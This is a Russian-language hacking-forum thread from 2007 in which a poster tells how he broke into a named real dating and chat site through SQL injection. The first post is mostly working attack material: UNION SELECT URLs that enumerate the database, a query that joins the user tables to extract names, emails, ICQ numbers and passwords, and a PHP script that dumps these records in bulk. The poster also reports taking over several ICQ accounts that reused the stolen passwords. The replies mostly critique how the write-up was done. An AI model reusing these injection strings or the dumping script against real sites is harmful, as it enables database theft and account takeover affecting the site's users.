История одного хака

Discussion in 'Уязвимости' started by Joker-jar, 4 Aug 2007.

  1. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Искал информацию о человеке - обладателе аськи, столь нужной мне. Нашел даже сайт, на котором он её получил в подарок: snegorod.com. Решил покопаться на сайте, нашел SQL-inj:

    http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,9,10,11/*&minrat=0&numofpage=13

    Хмм, для начала неплохо. Постучался в information_schema, повезло :)

    Начал искать интересные таблицы:

    http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table_name,10,11+from+information_schema.tables+limit+i,1/*&minrat=0&numofpage=13

    где i = 0,1,2 ...

    Из интересного нашлось:

    admins
    userinfo
    users


    Далее узнал, в каких базах данных находятся данные таблицы:

    http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,table_schema,10,11+from+information_schema.tables+where+table_name='имя таблицы'/*&minrat=0&numofpage=13

    (отмечу, что на сервере не экранировались кавычки, что придавало еще более комфортные условия ;))

    В итоге я имел:

    dating.admins
    chat.userinfo
    dating.users


    Ну что ж, самое время узнать, что за поля прячутся в этих аппетитных табличках:

    http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,column_name,10,11+from+information_schema.columns+where+table_name='имя таблицы'+limit+i,1/*&minrat=0&numofpage=13

    где i = 0,1,2 ...

    Через несколько минут, немного поработав пальчиками, в окне копии блокнота накопилась следующая инфа:

    ---------------------------------

    dating.admins ->

    ID
    NICK
    PASS
    RANG
    EMAIL
    LASTLOGIN
    IDUA

    ---------------------------------

    chat.userinfo ->

    id
    name
    realname
    email
    age
    city
    country
    url
    stuff
    photo_url
    icq_uin

    ---------------------------------

    dating.users ->

    ID
    NICK
    MPASS
    PASS
    DATEREG
    LASTLOGIN
    LASTACT
    ACTIVE
    HIDE
    VIEWS
    NGOL
    SGOL
    IPREG
    COMMENT
    golopen

    ---------------------------------


    Скажу сразу, что инфа, до которой я так упорно подкапывался, оказалась бесполезной. Ну и ладно ;), можно ведь вытащить базу юзеров и почекать аси/мыла. Как видно из структур таблиц, вся интересная инфа лежит в chat.userinfo (email, icq_uin), а пароль в dating.users. Ну и что? :)

    http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,concat(chat.userinfo.name,';',chat.userinfo.email,';',chat.userinfo.icq_uin,';',dating.users.MPASS,';',dating.users.PASS),10,11+from+chat.userinfo+inner+join+dating.users+on+chat.userinfo.name=dating.users.NICK+limit+i,1/*&minrat=0&numofpage=13

    где i = 0,1,2 ...

    Но вытаскивать записи по одной очень долго и нудно, поэтому я решил написать небольшой скрипт на PHP, который бы это делал за меня. Для начала, результат вывода инъекции я обрамил тэгом <1310></1310> (незнаю, почему этот, просто так захотелось), чтоб потом можно было этот самый результат найти среди груы HTML-мусора.

    PHP:
    <?
      if (!isset(
    $_GET['start']) || !isset($_GET['end']) || $_GET['start'] > $_GET['end'])
        exit;
        
      
    $start $_GET['start'];
      
    $end $_GET['end'];
      
      
    $f fopen('base.txt','a');

      for (
    $i $start$i <= $end$i++)
        {
          
    $s file_get_contents("http://board.snegorod.com/index.php?cat=4+union+select+1,2,3,4,5,6,7,8,concat(char(0x3c,0x31,0x33,0x31,0x30,0x3e),chat.userinfo.name,';',chat.userinfo.email,';',chat.userinfo.icq_uin,';',dating.users.MPASS,';',dating.users.PASS,char(0x3c,0x2f,0x31,0x33,0x31,0x30,0x3e)),10,11+from+chat.userinfo+inner+join+dating.users+on+chat.userinfo.name=dating.users.NICK+and+chat.userinfo.icq_uin>0+limit+$i,1/*&minrat=0&numofpage=13");
          
    preg_match("/<1310>(.*)<\/1310>/",$s$s2);
          
    fwrite($ficonv("UTF-8""CP1251"$s2[1]."\n"));
          
        }
      
    fclose($f);
    ?>
    Добавив условие chat.userinfo.icq_uin>0 прогнал скрипт, для начала, на параметрах ?start=0&end=100. Нашлось с десяток кривых девяток, к которым пароль сайта подходил. Мыла не проверял... Ну вот, собсна, и все. Удачного хака!
     
    3 people like this.
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    по твоим словам кажется что доступ к инф. схеме зависит от везения.. ))
     
    1 person likes this.
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Не видно где ты узнавал версию. Мне кажется что ты не рубишь по поводу базы information_schema
    бр+1
     
  4. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    На самом деле да, похоже чувак не знает что information_schema на 5 ветке =)))
    Последний запрос выглядит очень красиво и супербесполезно! =)
    А так улыбнуло
     
    1 person likes this.
  5. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    Обычная sql inj. Зачем отдельная тема?
    сп+1
     
    1 person likes this.
  6. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Да знаю вроде, просто писатель никакой из меня ;)

    Для новичков, практический пример. В совокупности с теорией, которой достаточно на форуме, должно дать неплохое представление о sql-inj.

    З.Ы, Всякие мелочи типа определение версии, подбора количества полей и т.д. в описании опустил (слишком банально).
     
    1 person likes this.
  7. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Joker-jar. тебя не понять..
    сначала гриш что для новичкоф а потом говоришь что упустил детали... Новички не поймут =)))
    А практике мало?
     
  8. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Ну раз уж на то пошло, так вся статья - банальна... Новички ничего не поймут это факт, а тем кто рубит это не интересно, таких историй почти каждый античатовец может рассказать вагон и мпленькую тележку
     
  9. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Моё имхо, что новичкам как раз не надо всё разжевывать, а надо давать пищу для размышлений, а если новичек хочет научица, он погуглит, выучит пару языков, ну даже если не языков, то хотябы ту базу, которая нужна для того, что его интересует. А если всё раскладывать по полочкам, то он так и будет думать прямолинейно. Чтобы научица хаку надо научица думать не по шаблону.
     
  10. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    давайте все будем писать свой хеки ресурсов???
    iv. +1. Многие так делаю в поисках скули, если им нравить сайт(или БД ценная) начинаю копать дальше! брд